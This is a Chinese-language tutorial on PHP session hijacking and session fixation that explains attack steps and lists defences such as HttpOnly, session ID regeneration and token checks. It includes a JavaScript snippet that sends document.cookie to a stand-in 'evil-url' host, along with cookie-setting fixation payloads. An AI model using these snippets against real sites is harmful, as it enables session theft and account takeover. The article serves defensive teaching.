Session攻擊手段(會話劫持/固定)及其安全防禦措施
一、 概述
對於Web應用程式來說,加強安全性的第一條原則就是——不要信任來自客戶端的資料,一定要進行資料驗證以及過濾才能在程式中使用,進而儲存到資料層。然而,由於Http的無狀態性,為了維持來自同一個使用者的不同請求之間的狀態,客戶端必須傳送一個唯一的身份識別符號(Session ID)來表明自己的身份。很顯然,這與前面提到的安全原則是相違背的,但是沒有辦法,為了維持狀態,我們別無選擇,這也導致了Session在web應用程式中是十分脆弱的一個環節。
由於PHP內建的Session管理機制並沒有提供安全處理,所以,開發人員需要建立相應的安全機制來防範會話攻擊。針對Session的攻擊手段主要有會話劫持(Session hijacking)和會話固定(Session fixation)兩種。
二、 會話劫持(Session hijacking)
會話劫持(Session hijacking),這是一種通過獲取使用者Session ID後,使用該Session ID登入目標賬號的攻擊方法,此時攻擊者實際上是使用了目標賬戶的有效Session。會話劫持的第一步是取得一個合法的會話標識來偽裝成合法使用者,因此需要保證會話標識不被洩漏。
攻擊步驟:
1、 目標使用者需要先登入站點;
2、 登入成功後,該使用者會得到站點提供的一個會話標識SessionID;
3、 攻擊者通過某種攻擊手段捕獲Session ID;
4、 攻擊者通過捕獲到的Session ID訪問站點即可獲得目標使用者合法會話。
攻擊者獲取SessionID的方式有多種:
1、 暴力破解:嘗試各種Session ID,直到破解為止;
2、 預測:如果Session ID使用非隨機的方式產生,那麼就有可能計算出來;
3、 竊取:使用網路嗅探,XSS攻擊等方法獲得。
PHP內部Session的實現機制雖然不是很安全,但是關於生成Session ID的環節還是比較安全的,這個隨機的Session ID往往是極其複雜的並且難於被預測出來,所以,對於第一、第二種攻擊方式基本上是不太可能成功的。
在第三種攻擊方式中,針對網路嗅探攻擊,是通過捕獲網路通訊資料得到Session ID的,這種攻擊可以通過SSL避免。本文主要分析的是應用層面的攻擊方式及其防禦方法。
目前有三種廣泛使用的在Web環境中維護會話(傳遞Session ID)的方法:URL引數,隱藏域和Cookie。其中每一種都各有利弊,Cookie已經被證明是三種方法中最方便最安全的。從安全的觀點,如果不是全部也是絕大多數針對基於Cookie的會話管理機制的攻擊對於URL或是隱藏域機制同樣適用,但是反過來卻不一定,這就讓Cookie成為從安全考慮的最佳選擇。
使用Cookie而產生的一個風險是使用者的Cookie會被攻擊者所盜竊。如果Session ID儲存在Cookie中,Cookie的暴露就是一個嚴重的風險,因為它能導致會話劫持。
最基本的Cookie竊取方式:XSS漏洞。
一旦站點中存在可利用的XSS漏洞,攻擊者可直接利用注入的JS指令碼獲取Cookie,進而通過非同步請求把存有Session ID的Cookie上報給攻擊者。
var img = document.createElement('img');
img.src = 'http://evil-url?c=' +encodeURIComponent(document.cookie);
document.getElementsByTagName('body')[0].appendChild(img);
如何尋找XSS漏洞是另外一個話題了,這裡不詳細討論。防禦上可以設定Cookie的HttpOnly屬性,一旦一個Cookie被設定為HttpOnly,JS指令碼就無法再獲取到,而網路傳輸時依然會帶上,也就是說依然可以依靠這個Cookie進行Session維持,但客戶端JS對其不可見。那麼即使存在XSS漏洞也無法簡單的利用其進行Session劫持攻擊了。但是上面說的是無法利用XSS進行簡單的攻擊,但是也不是沒有辦法的。既然無法使用document.cookie獲取到,可以轉而通過其他的方式。下面介紹一種XSS結合其他漏洞的攻擊方式。
利用PHP開發的應用會有一個phpinfo頁面。而這個頁面會dump出請求資訊,其中就包括Cookie資訊。
如果開發者沒有關閉這個頁面,就可以利用XSS漏洞向這個頁面發起非同步請求,獲取到頁面內容後Parse出Cookie資訊,然後上傳給攻擊者。phpinfo只是大家最常見的一種dump請求的頁面,但不僅限於此,為了除錯方便,任何dump請求的頁面都是可以被利用的漏洞。防禦上是關閉所有phpinfo類dump request資訊的頁面。
防禦方法:
1、 更改Session名稱。PHP中Session的預設名稱是PHPSESSID,此變數會儲存在Cookie中,如果攻擊者不分析站點,就不能猜到Session名稱,阻擋部分攻擊。
2、 關閉透明化Session ID。透明化Session ID指當瀏覽器中的Http請求沒有使用Cookie來存放Session ID時,Session ID則使用URL來傳遞。
3、 設定HttpOnly。通過設定Cookie的HttpOnly為true,可以防止客戶端指令碼訪問這個Cookie,從而有效的防止XSS攻擊。
4、 關閉所有phpinfo類dump request資訊的頁面。
5、 使用User-Agent檢測請求的一致性。但有專家警告不要依賴於檢查User-Agent的一致性。這是因為伺服器群集中的HTTP代理伺服器會對User-Agent進行編輯,而本群集中的多個代理伺服器在編輯該值時可能會不一致。
6、 加入Token校驗。同樣是用於檢測請求的一致性,給攻擊者製造一些麻煩,使攻擊者即使獲取了Session ID,也無法進行破壞,能夠減少對系統造成的損失。但Token需要存放在客戶端,如果攻擊者有辦法獲取到Session ID,那麼也同樣可以獲取到Token。
三、 會話固定(Sessionfixation)
會話固定(Session fixation)是一種誘騙受害者使用攻擊者指定的會話標識(SessionID)的攻擊手段。這是攻擊者獲取合法會話標識的最簡單的方法。會話固定也可以看成是會話劫持的一種型別,原因是會話固定的攻擊的主要目的同樣是獲得目標使用者的合法會話,不過會話固定還可以是強迫受害者使用攻擊者設定的一個有效會話,以此來獲得使用者的敏感資訊。
攻擊步驟:
1、 攻擊者通過某種手段重置目標使用者的SessionID,然後監聽使用者會話狀態;
2、 目標使用者攜帶攻擊者設定的Session ID登入站點;
3、 攻擊者通過Session ID獲得合法會話。
攻擊者重置SessionID的方式:
重置Session ID的方法同樣也有多種,可以是跨站指令碼攻擊,如果是URL傳遞Session ID,還可以通過誘導的方式重置該引數,比如可以通過郵件的方式誘導使用者去點選重置Session ID的URL,使用Cookie傳遞可以避免這種攻擊。
使用Cookie來存放Session ID,攻擊者可以在以下三種可用的方法中選擇一種來重置Session ID。
1、 使用客戶端指令碼來設定Cookie到瀏覽器。大多數瀏覽器都支援用客戶端指令碼來設定Cookie的,例如document.cookie=”sessionid=123”,這種方式可以採用跨站指令碼攻擊來達到目的。防禦方式可以是設定HttpOnly屬性,但有少數低版本瀏覽器存在漏洞,即使設定了HttpOnly,也可以重寫Cookie。所以還需要加其他方式的校驗,如User-Agent驗證,Token校驗等同樣有效。
2、 使用HTML的<META>標籤加Set-Cookie屬性。伺服器可以靠在返回的HTML文件中增加<META>標籤來設定Cookie。例如<meta http-equiv=Set-Cookiecontent=”sessionid=123”>,與客戶端指令碼相比,對<META>標籤的處理目前還不能被瀏覽器禁止。
3、 使用Set-Cookie的HTTP響應頭部設定Cookie。攻擊者可以使用一些方法在Web伺服器的響應中加入Set-Cookie的HTTP響應頭部。如會話收養,闖入目標伺服器所在域的任一主機,或者是攻擊使用者的DNS伺服器。
這裡還有一點需要注意,攻擊者如果持有的是有效的SessionID,那麼防禦措施就一定得校驗驗證。如攻擊者可以先到目標站點登入,獲得有效的Session ID,然後再拿這個Session ID去重置目標使用者的會話標識,那麼這時候使用者將會在不知情的情況下訪問攻擊者設定的合法會話(實際上登入的是攻擊者的賬號了)中,從而攻擊者將有可能獲取到目標使用者的敏感資訊。
防禦方法:
1、 使用者登入時生成新的Session ID。如果攻擊者使用的會話識別符號不是有效的,那麼這種方式將會非常有效。如果不是有效的會話識別符號,伺服器將會要求使用者重新登入。如果攻擊者使用的是有效的Session ID,那麼還可以通過校驗的方式來避免攻擊。
2、 大部分防止會話劫持的方法對會話固定攻擊同樣有效。如設定HttpOnly,關閉透明化Session ID,User-Agent驗證,Token校驗等。
四、 附加
PHP官方提供的關於會話安全的文件,主要介紹了session安全設定項的作用,並建議開發人員應該合理啟用可接受的安全設定項來保證會話安全。
關於會話資料安全的兩篇博文。